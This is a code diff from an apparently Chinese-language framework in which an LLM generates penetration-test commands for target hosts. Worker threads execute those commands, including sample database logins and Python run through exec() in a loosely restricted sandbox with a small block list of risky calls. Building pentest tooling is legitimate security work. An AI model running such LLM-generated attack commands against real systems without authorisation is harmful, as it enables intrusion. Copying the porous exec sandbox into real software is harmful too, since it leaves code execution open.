{\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\", \"status\": \"未完成\"} {\"action\":\"add_node\", \"parent\": \"192.168.1.100\", \"nodes\": \"3306端口,22端口\"}
```bash-[目标系统->192.168.1.100->3306端口] ```dash-[目标系统->192.168.1.100->3306端口]
mysql -u root -p 192.168.1.100 mysql -u root -p 192.168.1.100
``` ```
'''}] # 一个messages '''}] # 一个messages
def init_data(self,task_id=0):
#初始化LLM数据
self.llm_sn = 0
self.task_id = task_id
self.messages = []
# 调用LLM生成指令 # 调用LLM生成指令
def get_llm_instruction(self,prompt,th_DBM,node): def get_llm_instruction(self,prompt,node):
''' '''
1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发 1.由于大模型API不记录用户请求的上下文一个任务的LLM不能并发
:param prompt:用户本次输入的内容 :param prompt:用户本次输入的内容
@ -126,16 +105,22 @@ mysql -u root -p 192.168.1.100
''' '''
#添加本次输入入该节点的message队列 #添加本次输入入该节点的message队列
message = {"role":"user","content":prompt} message = {"role":"user","content":prompt}
node.messages.append(message) node.messages.append(message) #更新节点message
#提交LLM #提交LLM
post_time = get_local_timestr() post_time = get_local_timestr()
if self.model == "o3-mini-2025-01-31":
response = self.client.chat.completions.create( response = self.client.chat.completions.create(
model=self.model, model=self.model,
reasoning_effort="high", reasoning_effort="high",
messages = node.messages messages = node.messages
) )
else:
response = self.client.chat.completions.create(
model=self.model,
messages=node.messages
)
#LLM返回结果处理 #LLM返回结果处理
reasoning_content = "" reasoning_content = ""
content = "" content = ""
@ -143,9 +128,9 @@ mysql -u root -p 192.168.1.100
if self.model == "deepseek-reasoner": if self.model == "deepseek-reasoner":
#返回错误码:DS-https://api-docs.deepseek.com/zh-cn/quick_start/error_codes #返回错误码:DS-https://api-docs.deepseek.com/zh-cn/quick_start/error_codes
reasoning_content = response.choices[0].message.reasoning_content #推理过程 reasoning_content = response.choices[0].message.reasoning_content #推理过程
print(reasoning_content) #print(reasoning_content)
content = response.choices[0].message.content #推理内容 content = response.choices[0].message.content #推理内容
print(content) #print(content)
# 记录llm历史信息 # 记录llm历史信息
node.messages.append({'role': 'assistant', 'content': content}) node.messages.append({'role': 'assistant', 'content': content})
elif self.model == "deepseek-chat": elif self.model == "deepseek-chat":
@ -160,17 +145,10 @@ mysql -u root -p 192.168.1.100
node.messages.append({'role': 'assistant', 'content': content}) node.messages.append({'role': 'assistant', 'content': content})
else: else:
self.logger.error("处理到未预设的模型!") self.logger.error("处理到未预设的模型!")
return None return "","","","",""
#LLM记录存数据库
node.llm_sn += 1
bres = th_DBM.insert_llm(self.task_id,prompt,reasoning_content,content,post_time,node)
if not bres:
self.logger.error(f"{node.name}-llm入库失败!")
#按格式规定对指令进行提取 #按格式规定对指令进行提取
node_cmds,commands = self.fetch_instruction(content) node_cmds,commands = self.fetch_instruction(content)
return node_cmds,commands return node_cmds,commands,reasoning_content, content, post_time
def fetch_instruction(self,response_text): def fetch_instruction(self,response_text):
''' '''
@ -180,7 +158,7 @@ mysql -u root -p 192.168.1.100
渗透测试指令 渗透测试指令
提取命令列表包括 提取命令列表包括
1. Python 代码块 python[](.*?) 1. Python 代码块 python[](.*?)
2. Shell 命令``bash[](.*?)``` 2. Shell 命令``dash[](.*?)```
:param text: 输入文本 :param text: 输入文本
:return: node_cmds,python_blocks,shell_blocks :return: node_cmds,python_blocks,shell_blocks
''' '''
@ -191,13 +169,13 @@ mysql -u root -p 192.168.1.100
python_blocks = [block.strip() for block in python_blocks] python_blocks = [block.strip() for block in python_blocks]
#正则匹配shell指令 #正则匹配shell指令
shell_blocks = re.findall(f"```bash-(.*?)```", response_text, flags=re.DOTALL) shell_blocks = re.findall(f"```dash-(.*?)```", response_text, flags=re.DOTALL)
shell_blocks = [block.strip() for block in shell_blocks] shell_blocks = [block.strip() for block in shell_blocks]
# 按连续的空行拆分 # 按连续的空行拆分
# 移除 Python和bash 代码块 # 移除 Python和dash 代码块
text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL) text_no_python = re.sub(r"```python.*?```", "PYTHON_BLOCK", response_text, flags=re.DOTALL)
text = re.sub(r"```bash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL) text = re.sub(r"```dash.*?```", "SHELL_BLOCK", text_no_python, flags=re.DOTALL)
# 这里用 \n\s*\n 匹配一个或多个空白行 # 这里用 \n\s*\n 匹配一个或多个空白行
parts = re.split(r'\n\s*\n', text) parts = re.split(r'\n\s*\n', text)
@ -241,9 +219,7 @@ mysql -u root -p 192.168.1.100
) )
print(response) print(response)
if __name__ == "__main__": if __name__ == "__main__":
llm = LLMManager(3) llm = LLMManager(3)
llm.test_llm()

38
mycode/PythonTManager.py

@ -0,0 +1,38 @@
import queue
import threading
import time
from mycode.PythoncodeTool import PythoncodeTool
class PythonTManager:
def __init__(self,maxnum):
self.brun = True
self.cur_num = 0
self.put_lock = threading.Lock()
# 构建进程池--Python 代码的执行在子进程完成-3个子进程
self.maxnum = maxnum
self.python_tool = PythoncodeTool(maxnum) #python工具实例
def __del__(self):
self.python_tool.shutdown()
def execute_instruction(self,instruction):
bwork = False
while self.brun:
with self.put_lock:
if self.cur_num < self.maxnum:
self.cur_num += 1
bwork = True
if bwork:#还有空的子进程
#提交给进程池执行
_,instruction,analysis,_,ext_params = self.python_tool.execute_instruction(instruction)
#执行完成后,数量减一
with self.put_lock:
self.cur_num -= 1
#返回结果
return instruction,analysis,analysis,ext_params
else: #如果没获取的许可,则等待N秒后再尝试---存在问题:多线程间没有先来先到的机制了,有可能第一个来排队的一直等到最后
time.sleep(20) #休眠20秒

230
mycode/PythoncodeTool.py

@ -0,0 +1,230 @@
#python代码动态执行
import queue
import ast
import subprocess
import json
import builtins
import re
import paramiko
import impacket
import psycopg2
import socket
import struct
import sys
import requests
import ssl
import mysql.connector
import telnetlib
import time
import uuid
import multiprocessing
import textwrap
from mycode.Result_merge import my_merge
from ftplib import FTP
from requests.auth import HTTPBasicAuth
from myutils.ReturnParams import ReturnParams
from concurrent.futures import ProcessPoolExecutor, TimeoutError
# --------------------------------------------
# 1) 全局 helper:放在模块顶层,才能被子进程 picklable 调用
# --------------------------------------------
def _execute_dynamic(instruction_str):
"""
在子进程中执行 instruction_str 所描述的 dynamic_fun
并返回 (status: bool, output: str)
"""
# 允许的内置函数白名单
allowed_builtins = {
'__name__': __name__,
'__import__': builtins.__import__,
'abs': abs, 'all': all, 'any': any, 'bool': bool,
'chr': chr, 'dict': dict, 'enumerate': enumerate,
'float': float, 'int': int, 'len': len, 'list': list,
'max': max, 'min': min, 'print': print, 'range': range,
'set': set, 'str': str, 'sum': sum, 'type': type,
'open': open, 'Exception': Exception, 'locals': locals
}
# 构造安全的 globals
safe_globals = {
'__builtins__': allowed_builtins,
'subprocess': subprocess,
'json': json,
're': re,
'paramiko': paramiko,
'impacket': impacket,
'psycopg2': psycopg2,
'socket': socket,
'mysql': mysql,
'mysql.connector': mysql.connector,
'struct': struct,
'sys': sys,
'requests': requests,
'ssl': ssl,
'FTP': FTP,
'HTTPBasicAuth': HTTPBasicAuth,
'telnetlib': telnetlib,
'time': time,
'uuid':uuid,
}
safe_locals = {}
try:
# 编译并执行用户提供的 code 字符串
compiled = compile(instruction_str, '<dynamic>', 'exec')
exec(compiled, safe_globals, safe_locals)
# dynamic_fun 必须存在
if 'dynamic_fun' not in safe_locals:
return False, "Function dynamic_fun() 未定义"
# 调用它并返回结果
res = safe_locals['dynamic_fun']()
if not (isinstance(res, tuple) and len(res) == 2 and isinstance(res[0], bool)):
return False, "dynamic_fun 返回值格式不对"
return res
except MemoryError:
return False, "内存溢出"
except RecursionError:
return False, "递归深度过深"
except Exception as e:
return False, f"子进程执行出错: {e}"
class PythoncodeTool():
def __init__(self,max_num):
self.proc_pool = ProcessPoolExecutor(max_workers=max_num)
def preprocess(self,code: str) -> str:
# 去掉最外层空行
code = code.strip('\n')
# 去除多余缩进
return textwrap.dedent(code)
def is_safe_code(self,code):
# List of high-risk functions to block (can be adjusted based on requirements)
# 只屏蔽这些“完整”函数调用
HIGH_RISK = {
'eval', # eval(...)
'exec', # exec(...)
'os.system', # os.system(...)
'subprocess.call', # subprocess.call(...)
'subprocess.Popen' # subprocess.Popen(...)
}
try:
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Call):
fn = node.func
# 1) 裸 exec/eval
if isinstance(fn, ast.Name):
if fn.id in ('exec', 'eval'):
return False,"有高风险函数,暂不执行!"
# 2) 模块级别的 os.system、subprocess.call、subprocess.Popen
elif isinstance(fn, ast.Attribute):
# value 必须是 Name,才算"模块.方法"
if isinstance(fn.value, ast.Name):
fullname = f"{fn.value.id}.{fn.attr}"
if fullname in HIGH_RISK:
return False,"有高风险函数,暂不执行!"
return True,""
except SyntaxError as se:
# 语法都不通过,也算不安全
print("解析失败!", se, "", se.lineno, "")
print("出错的那行是:", code.splitlines()[se.lineno - 1])
return False,str(se)
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*10
instr = instruction.replace("python_code ","")
instr = instr.replace("python-code ", "")
instr = self.preprocess(instr)
# Safety check
bsafe,error = self.is_safe_code((instr))
if not bsafe:
return "", timeout,error
return instr,timeout,""
def safe_import(self,name,*args,**kwargs):
ALLOWED_MODULES = ['subprocess', 'json','re']
if name not in ALLOWED_MODULES:
raise ImportError(f"Import of '{name}' is not allowed")
return builtins.__import__(name, *args, **kwargs)
def _run_dynamic(self, safe_locals, q):
"""子进程执行 dynamic_fun 并把结果放入队列"""
try:
fn = safe_locals['dynamic_fun']
res = fn()
q.put(res)
except Exception as e:
q.put((False, f"执行出错: {e}"))
def execute_instruction(self, instruction_old):
'''
执行指令验证合法性 -> 执行 -> 分析结果
:param instruction_old:
:return:
bool:true-正常返回给大模型false-结果不返回给大模型
str:执行的指令
str:执行指令的结果
'''
ext_params = ReturnParams()
ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False
ext_params["is_vulnerability"] = False # 是否是脆弱点
# 第一步:验证指令合法性
instruction,time_out,error = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, error,"",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令
future = self.proc_pool.submit(_execute_dynamic, instruction)
try:
# 在主进程中等待结果,超时则抛 TimeoutError
status, tmpout = future.result(timeout=time_out) #这里是阻塞的
except TimeoutError:
# 超时处理
future.cancel()
status, tmpout = False, f"执行超时({time_out} 秒)"
except Exception as e:
# 其他异常
status, tmpout = False, f"提交子进程运行出错: {e}"
output = f"status:{status},output:{tmpout}"
# 第三步:分析执行结果
analysis = self.analyze_result(output, instruction,"","")
# 指令和结果入数据库
# ?
if not analysis: # analysis为“” 不提交LLM
return False, instruction, analysis,"",ext_params
return True, instruction, analysis,"",ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 --- 要不要限定一个max_len?
if "enum4linux " in instruction: #存在指令包装成Python代码返回的情况
result = my_merge("enum4linux",result)
else:
if len(result) > 3000: #超过2000长度时,尝试去重重复行
lines = result.splitlines()
seen = set()
unique_lines = []
for line in lines:
if line not in seen:
seen.add(line)
unique_lines.append(line)
return "\n".join(unique_lines)
return result
#关闭进程池
def shutdown(self):
self.proc_pool.shutdown(wait=True)
if __name__ == "__main__":
llm_code = """
def run_test():
return 'Penetration test executed successfully!'
"""

5
mycode/RsikManager.py

@ -0,0 +1,5 @@
class RsikManager:
def __init__(self):
pass

2
mycode/TargetManager.py

@ -42,6 +42,8 @@ class TargetManager:
else: else:
return False, None,type return False, None,type
g_TM = TargetManager()
if __name__ == "__main__": if __name__ == "__main__":
tm = TargetManager() tm = TargetManager()
# 示例测试 # 示例测试

233
mycode/TaskManager.py

@ -0,0 +1,233 @@
from myutils.ConfigManager import myCongif
from mycode.TaskObject import TaskObject
from mycode.DBManager import app_DBM
from myutils.PickleManager import g_PKM
import threading
class TaskManager:
def __init__(self):
self.tasks = {} # 执行中的任务,test_id为key
self.num_threads = myCongif.get_data("Task_max_threads")
#获取系统信息 -- 用户可修改的都放在DB中,不修改的放config
data = app_DBM.get_system_info()
self.local_ip = data[0]
self.version = data[1]
self.tasks_lock = threading.Lock() #加个线程锁?不使用1,quart要使用的异步锁,2.限制只允许一个用户登录,3.遍历到删除的问题不大
self.web_cur_task = 0 #web端当前显示的
#判断目标是不是在当前执行任务中,---没加锁,最多跟删除有冲突,问题应该不大
def is_target_in_tasks(self,task_target):
for task in self.tasks.values():
if task_target == task.target:
return True
return False
#程序启动后,加载未完成的测试任务
def load_tasks(self):
'''程序启动时,加载未执行完成的任务'''
datas = app_DBM.get_run_tasks()
for data in datas:
task_id = data[0]
task_target = data[1]
task_status = data[2]
work_type = data[3]
cookie_info = data[4]
llm_type = data[5]
# 创建任务对象
task = TaskObject(task_target, cookie_info, work_type, llm_type, self.num_threads, self.local_ip,self)
#读取attact_tree
attack_tree = g_PKM.ReadData(str(task_id))
#开始任务 ---会根据task_status来判断是否需要启动工作线程
task.start_task(task_id,task_status,attack_tree)
# 保留task对象
self.tasks[task_id] = task
#新建测试任务
def create_task(self, test_target,cookie_info,llm_type,work_type):
"""创建新任务--create和load复用?--
1.创建和初始化task_object;
2.创建task_id
3.启动工作线程
return T/F
"""
if self.is_target_in_tasks(test_target):
raise ValueError(f"Task {test_target} already exists")
#创建任务对象
task = TaskObject(test_target,cookie_info,work_type,llm_type,self.num_threads,self.local_ip,self)
#获取task_id -- test_target,cookie_info,work_type,llm_type 入数据库
task_id = app_DBM.start_task(test_target,cookie_info,work_type,llm_type)
if task_id >0:
#创建后启动工作--同时赋值task_id
task.start_task(task_id)
#保留task对象
self.tasks[task_id] = task
return True
else:
return False
def over_task(self,task_id):
task = self.tasks[task_id]
if task:
task.brun = False
#修改数据库数据
bsuccess = app_DBM.over_task(task_id)
if bsuccess:
del self.tasks[task_id] #删除缓存
return bsuccess,""
else:
return False,"没有找到对应的任务"
def del_task(self,task_id):
if g_PKM.DelData(str(task_id)):
bsuccess = app_DBM.del_task(task_id)
return bsuccess,""
else:
return False,"删除对应文件失败"
#控制task启停----线程不停
def control_taks(self,task_id):
task = self.tasks[task_id]
if task:
if task.task_status == 0: # 0-暂停,1-执行中,2-已完成
task.task_status = 1
elif task.task_status == 1:
task.task_status = 0
else:
return False,"当前任务状态不允许修改,请联系管理员!",task.task_status
else:
return False,"没有找到对应的任务",None
return True,"",task.task_status
# 获取任务list
def get_task_list(self):
tasks = []
for task in self.tasks.values():
one_json = {"taskID": task.task_id, "testTarget": task.target, "taskStatus": task.task_status, "safeRank": task.safe_rank,
"workType": task.work_type}
tasks.append(one_json)
rejson = {"tasks": tasks}
return rejson
#获取节点树
def get_node_tree(self,task_id):
task = self.tasks[task_id]
if task:
self.web_cur_task = task_id
tree_dict = task.attack_tree.get_node_dict()
return tree_dict
return None
#获取历史节点树数据
def get_his_node_tree(self,task_id):
attack_tree = g_PKM.ReadData(str(task_id))
if attack_tree:
tree_dict = attack_tree.get_node_dict()
return tree_dict
return None
#修改任务的工作模式,只有在暂停状态才能修改
def update_task_work_type(self,task_id,new_work_type):
task = self.tasks[task_id]
if task:
if task.task_status == 0:
task.work_type = new_work_type
return True
return False
#控制节点的工作状态
def node_bwork_control(self,task_id,node_path):
task = self.tasks[task_id]
if task:
bsuccess,new_bwork = task.attack_tree.update_node_bwork(node_path)
if bsuccess:
pass #是否要更新IO数据?----待验证是否有只修改部分数据的方案
return bsuccess,new_bwork
return False,False
#节点单步--只允許web端调用
async def node_one_step(self,task_id,node_path):
task = self.tasks[task_id]
node = task.attack_tree.find_node_by_nodepath(node_path)
#web端触发的任务,需要判断当前的执行状态
bsuccess,error = await task.put_one_node(node)
return bsuccess,error
#任务单点--只允许web端调用
async def task_one_step(self,task_id):
task = self.tasks[task_id]
if task:
bsuccess,error = await task.put_one_task()
return bsuccess,error
else:
return False,"task_id值存在问题!"
#获取节点待执行任务
def get_task_node_todo_instr(self,task_id,nodepath):
todoinstr = []
task = self.tasks[task_id]
if task:
node = task.attack_tree.find_node_by_nodepath(nodepath)
if node:
todoinstr = node.get_instr_user()
return todoinstr
#获取节点的MSG信息
def get_task_node_MSG(self,task_id,nodepath):
task = self.tasks[task_id]
if task:
node = task.attack_tree.find_node_by_nodepath(nodepath)
if node:
tmpMsg = node.get_res_user()
if tmpMsg:
return node.messages,tmpMsg[0] #待提交消息正常应该只有一条
else:
return node.messages,{}
return [],{}
def update_node_MSG(self,task_id,nodepath,newtype,newcontent):
task = self.tasks[task_id]
if task:
node = task.attack_tree.find_node_by_nodepath(nodepath)
if node:
work_status = node.get_work_status()
if work_status == 0 or work_status == 3:
bsuccess,error = node.updatemsg(newtype,newcontent,0) #取的第一条,也就修改第一条
return bsuccess,error
else:
return False,"当前节点的工作状态不允许修改MSG!"
return False,"找不到对应节点!"
def del_node_instr(self,task_id,nodepath,instr):
task = self.tasks[task_id]
if task:
node = task.attack_tree.find_node_by_nodepath(nodepath)
if node:
return node.del_instr(instr)
return False,"找不到对应节点!"
def get_his_tasks(self,target_name,safe_rank,llm_type,start_time,end_time):
tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return tasks
#------------以下函数还未验证处理-----------
def start_task(self, task_id):
"""启动指定任务"""
task = self.tasks.get(task_id)
if task:
task.start(self.num_threads)
else:
print(f"Task {task_id} not found")
def stop_task(self, task_id):
"""停止指定任务"""
task = self.tasks.get(task_id)
if task:
task.stop()
else:
print(f"Task {task_id} not found")
g_TaskM = TaskManager() #单一实例

670
mycode/TaskObject.py

@ -0,0 +1,670 @@
'''
渗透测试任务管理类 一次任务的闭合性要检查2025-3-10 一次任务后要清理LLM和InstrM的数据
'''
from mycode.TargetManager import TargetManager # 从模块导入类
#from LLMManager import LLMManager # 同理修正其他导入
from mycode.ControlCenter import ControlCenter #控制中心替代LLM--控制中心要实现一定的基础逻辑和渗透测试树的维护。
from mycode.InstructionManager import g_instrM
from mycode.DBManager import DBManager,app_DBM
from mycode.LLMManager import LLMManager
from mycode.AttackMap import AttackTree,TreeNode
from myutils.MyTime import get_local_timestr
from myutils.MyLogger_logger import LogHandler
from myutils.PickleManager import g_PKM
from myutils.ConfigManager import myCongif
from mycode.WebSocketManager import g_WSM
from mycode.CommandVerify import g_CV
from mycode.PythonTManager import PythonTManager
import asyncio
import queue
import time
import os
import re
import threading
import json
class TaskObject:
def __init__(self,test_target,cookie_info,work_type,llm_type,num_threads,local_ip,taskM):
#功能类相关
self.taskM = taskM
self.logger = LogHandler().get_logger("TaskObject")
self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查
self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
self.CCM = ControlCenter() #一个任务一个CCM
self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM
#全局变量
self.app_work_type = myCongif.get_data("App_Work_type") #app工作为0时,只允许单步模式工作,是附加规则,不影响正常逻辑处理
self.brun = False #任务的停止可以用该变量来控制
self.sleep_time = myCongif.get_data("sleep_time")
self.target = test_target
self.cookie = cookie_info
self.work_type = work_type #工作模式 0-人工,1-自动
self.task_id = None
self.task_status = 0 #0-暂停,1-执行中,2-已完成
self.local_ip = local_ip
self.attack_tree = None #任务节点树
self.safe_rank = 0 #安全级别 0-9 #?暂时还没实现更新逻辑
#指令执行相关-------
self.max_thread_num = num_threads #指令执行线程数量
self.workth_list = [None] * num_threads #线程句柄list
self.doing_instr_list= [""] * num_threads
self.instr_node_queue = queue.Queue() #待执行指令的节点队列
self.node_num = 0 #在处理Node线程的处理
#llm执行相关--------
self.llm_max_nums = myCongif.get_data("LLM_max_threads") # 控制最大并发指令数量 --- 多线程的话节点树需要加锁
self.llmth_list = [None] * self.llm_max_nums # llm线程list
self.doing_llm_list = [""] * self.llm_max_nums
self.llm_node_queue = queue.Queue() #待提交LLM的节点队列
#自检线程--------
self.check_th = None #自检线程句柄
#-----四队列-----
self.run_instr_lock = threading.Lock() # 线程锁
self.runing_instr = {} #执行中指令记录
#---------------三个线程------------
#测试指令执行线程
def mill_instr_preprocess(self,instructions,str_split):
new_instr = []
instrs = instructions.split(str_split)
index = 0
for instr in instrs:
if instr.strip().startswith("curl"):
if " --max-time " not in instr:
out_time = g_instrM.get_tool_out_time("curl")
instr = instr.strip() + f" --max-time {str(out_time)}"
#instr = instr.strip() + " --max-time 10"
new_instr.append(instr)
index += 1
new_star_instr = f"{str_split}".join(new_instr)
print(new_star_instr)
return new_star_instr
def do_worker_th(self,index):
#线程的dbm需要一个线程一个
th_DBM = DBManager()
th_DBM.connect()
th_index = index
while self.brun:
if self.task_status == 1:
try:
work_node = self.instr_node_queue.get(block=False)#正常一个队列中一个节点只会出现一次,进而也就只有一个线程在处理
# 开始执行指令
results = []
while True:
instruction = work_node.get_instr()
if not instruction:
break
instruction = instruction.strip()
#对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间
self.doing_instr_list[th_index] = instruction
if instruction.startswith("python-code"):#python代码--超过子进程数会阻塞等待,但不开始超时记时
instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction)
else:#shell指令
instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
self.doing_instr_list[th_index] = ""
end_time = get_local_timestr() # 指令执行结束时间
# 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#?
if th_DBM.ok:
work_node.do_sn += 1
th_DBM.insetr_result(self.task_id, instr, reslut, work_node.do_sn, start_time, end_time,
source_result,
ext_params, work_node.path)
else:
self.logger.error("数据库连接失败!!")
#暂存结果
oneres = {'执行指令': instr, '结果': reslut}
results.append(oneres)
#指令都执行结束后,入节点待提交队列
str_res = json.dumps(results, ensure_ascii=False)
# 提交llm待处理任务 --更新节点work_status
self.put_node_reslist(work_node, str_res, 1)
# 保存记录
g_PKM.WriteData(self.attack_tree,str(self.task_id))
except queue.Empty:
time.sleep(self.sleep_time)
else:#不是工作状态则休眠
time.sleep(self.sleep_time)
#llm请求提交线程
def th_llm_worker(self,index):
'''
几个规则--TM的work线程同
1.线程获取一个节点后其他线程不能再获取这个节点遇到被执行的节点直接放弃执行--- 加了没办法保存中间结果进行测试
2.llm返回的指令只可能是该节点或者是子节点的不符合这条规则的都不处理避免llm处理混乱
:return:
'''
# 线程的dbm需要一个线程一个
th_DBM = DBManager()
th_DBM.connect()
th_index = index
while self.brun:
if self.task_status == 1:
try:
llm_node = self.llm_node_queue.get(block=False) #获取一个待处理节点
#开始处理
tmp_commands = []
# {llm_node.status} --- 暂时固化为未完成
user_Prompt = f'''
当前分支路径{llm_node.path}
当前节点信息
- 节点名称{llm_node.name}
- 节点状态未完成
- 漏洞类型{llm_node.vul_type}
'''
while True:
llm_data = llm_node.get_res()
if llm_data is None:
break
llm_type = llm_data["llm_type"]
str_res = llm_data["result"]
#获取提示词
prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt)
self.doing_llm_list[th_index] = prompt
# 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行
node_cmds, commands,reasoning_content, content, post_time = self.LLM.get_llm_instruction(prompt,llm_node) # message要更新
self.doing_llm_list[th_index] = ""
# LLM记录存数据库
if th_DBM.ok:
llm_node.llm_sn += 1
bres = th_DBM.insert_llm(self.task_id, prompt, reasoning_content, content, post_time, llm_node.llm_sn,llm_node.path)
if not bres:
self.logger.error(f"{llm_node.name}-llm入库失败!")
else:
self.logger.error("数据库连接失败!")
'''
对于LLM返回的错误处理机制
1.验证节点是否都有测试指令返回
2.LLM的回复开始反复时有点难判断
'''
# 更新tree
bok, new_commands,iadd_node = self.tree_manager(node_cmds, llm_node, commands, th_DBM)
# 分析指令入对应节点
if bok: # 节点指令若存在错误,测试指令都不处理,需要LLM重新生成
tmp_commands.extend(new_commands)
#测试指令入节点待处理队列 --同时修改节点的work_status
self.put_node_instrlist(tmp_commands, llm_node,iadd_node)
#一个节点完成,节点树持久化---待验证是否有局部更新持久化的方案
g_PKM.WriteData(self.attack_tree,str(self.task_id))
except queue.Empty:
#self.logger.debug("llm队列中暂时无新的提交任务!")
time.sleep(self.sleep_time)
else:
time.sleep(self.sleep_time)
#自检线程 --1.输出执行状态。2.需要自检和修复
def th_check(self):
while self.brun:
try:
cur_time = get_local_timestr()
print(f"-----------当前时间程序运行情况:{cur_time}")
# #待执行instr-node
# instr_node_list = list(self.instr_node_queue.queue) #待执行指令的node--线程不安全
# print(f"**当前待执行指令node的数量为:{len(instr_node_list)}")
#执行中instr-node
index = 0
for w_th in self.workth_list:
if not w_th.is_alive():#线程
print(f"线程-{index}已处于异常状态,需要重新创建一个工作线程")
else:
print(f"线程-{index}在执行指令:{self.doing_instr_list[index]}")
index += 1
index = 0
for l_th in self.llmth_list:
if not l_th.is_alive():
print(f"LLM线程-{index}已处于异常状态,需要重新创建一个LLM线程")
else:
print(f"LLM线程-{index}在执行指令:{self.doing_llm_list[index]}")
index += 1
#待提交llm-node
# llm_node_list = list(self.llm_node_queue.queue) #待提交llm的node--线程不安全
# print(f"**当前待提交llm的node的数量为:{len(llm_node_list)}")
#休眠60
time.sleep(60)
except Exception as e:
print(f"*********自检线程异常退出:{str(e)}")
break
#------------入两个nodeMQ-禁止直接调用入队列-----------
def put_instr_mq(self,node):
#这里不做状态的判断,调用前处理
self.instr_node_queue.put(node)
self.update_node_work_status(node,2) #在执行--1.work_status不影响整个任务的执行,错了问题不大,2--attack_tree持久化需要出去lock信息。
def put_llm_mq(self,node):
#同instr_mq
self.llm_node_queue.put(node)
self.update_node_work_status(node,4) #提交中
async def put_instr_mq_async(self,node):
#这里不做状态的判断,调用前处理
self.instr_node_queue.put(node)
await self.update_node_work_status_async(node,2) #在执行--1.work_status不影响整个任务的执行,错了问题不大,2--attack_tree持久化需要出去lock信息。
async def put_llm_mq_async(self,node):
#同instr_mq
self.llm_node_queue.put(node)
await self.update_node_work_status_async(node,4) #提交中
async def update_node_work_status_async(self,node,work_status):
#更新状态
bchange = node.update_work_status(work_status)
#基于websocket推送到前端
if bchange:
#判断是否是web端最新获取数据的task
if self.taskM.web_cur_task == self.task_id:
idatatype = 1
strdata = {"node_path":node.path,"node_workstatus":work_status}
await g_WSM.send_data(idatatype,strdata)
#------------入Node的两个list--禁止直接调用入list-------
def put_node_reslist(self, node, str_res, llm_type):
# 推送llm提交任务到节点的待处理任务中,并根据工作模式判断是否如llm_node_quere
one_llm = {'llm_type': llm_type, 'result': str_res}
node.add_res(one_llm) # 入节点结果队列
self.update_node_work_status(node,3) #待提交llm
# 如果是自动执行的模式则入队列交给llm线程处理
if self.app_work_type == 1:
if self.work_type == 1 and node.bwork:
self.put_llm_mq(node) #变4
#递归找节点
def find_node_by_child_node_name(self,cur_node,node_name):
find_node = None
if cur_node.children:
for child_node in cur_node.children:
if child_node.name == node_name:
find_node = child_node
break
else:
find_node = self.find_node_by_child_node_name(child_node,node_name)
if find_node:
break
return find_node
def put_node_instrlist(self, commands, node,iadd_node): #如果当前节点没有进一般指令返回,需要修改节点执行状态
node_list = [] #一次返回的测试指令
for command in commands:
# 使用正则匹配方括号中的node_path(非贪婪模式)
match = re.search(r'\[(.*?)\]', command)
if match:
node_path = match.group(1)
instruction = re.sub(r'\[.*?\]', "", command, count=1, flags=re.DOTALL)
#'''强制约束,不是本节点或者是子节点的指令不处理'''
find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands)
if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加
node_name = node_path.split("->")[-1]
find_node = self.find_node_by_child_node_name(node,node_name)
if find_node:
find_node.add_instr(instruction)
#DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正
find_node.status = "未完成"
if find_node not in node_list:
node_list.append(find_node)
self.update_node_work_status(find_node,1) #待执行
else:#如果还没找到就暂时放弃
self.logger.error(f"基于节点路径没有找到对应的节点{node_path},父节点都没找到!当前节点{node.path}")#丢弃该指令
else:
self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令---
#这里对于丢弃指令,有几种方案:
# 1.直接丢弃不处理,但需要考虑会不会产生节点缺失指令的问题,需要有机制验证节点;------ 需要有个独立线程,节点要加锁--首选待改进方案
# 2.入当前节点的res_queue,但有可能当前节点没有其他指令,不会触发提交,另外就算提交,会不会产生预设范围外的返回,不确定;
# 3.独立队列处理
#判断当前节点是否有指令
if node not in node_list:
#修改该节点状态为0--无待执行任务
self.update_node_work_status(node,0)
#入instr队列
if self.app_work_type == 1:
if self.work_type == 1: #是自动执行模式
for node in node_list:
if node.bwork:
self.put_instr_mq(node) #2-执行中
def put_work_node(self):
'''遍历节点需要处理的任务,提交mq'''
nodes = self.attack_tree.traverse_bfs()
for node in nodes:
if not node.is_instr_empty(): #待执行指令有值
if not node.is_llm_empty():
self.logger.error(f"{node.path}即存在待执行指令,还存在待提交的llm,需要人工介入!!")
else:
if node.bwork:
self.put_instr_mq(node) #提交执行
elif not node.is_llm_empty(): #待提交llm有值
if not node.is_instr_empty():
self.logger.error(f"{node.path}即存在待执行指令,还存在待提交的llm,需要人工介入!!")
else:
if node.bwork:
self.put_llm_mq(node) #提交执行
#web端提交单步任务--节点单步
async def put_one_node(self,node):
#提交某个节点的代表任务
if self.task_status ==1 and self.work_type==0 and node.bwork:
if not node.is_instr_empty(): #待执行指令有值
if not node.is_llm_empty():
self.logger.error(f"{node.path}即存在待执行指令,还存在待提交的llm,需要人工介入!!")
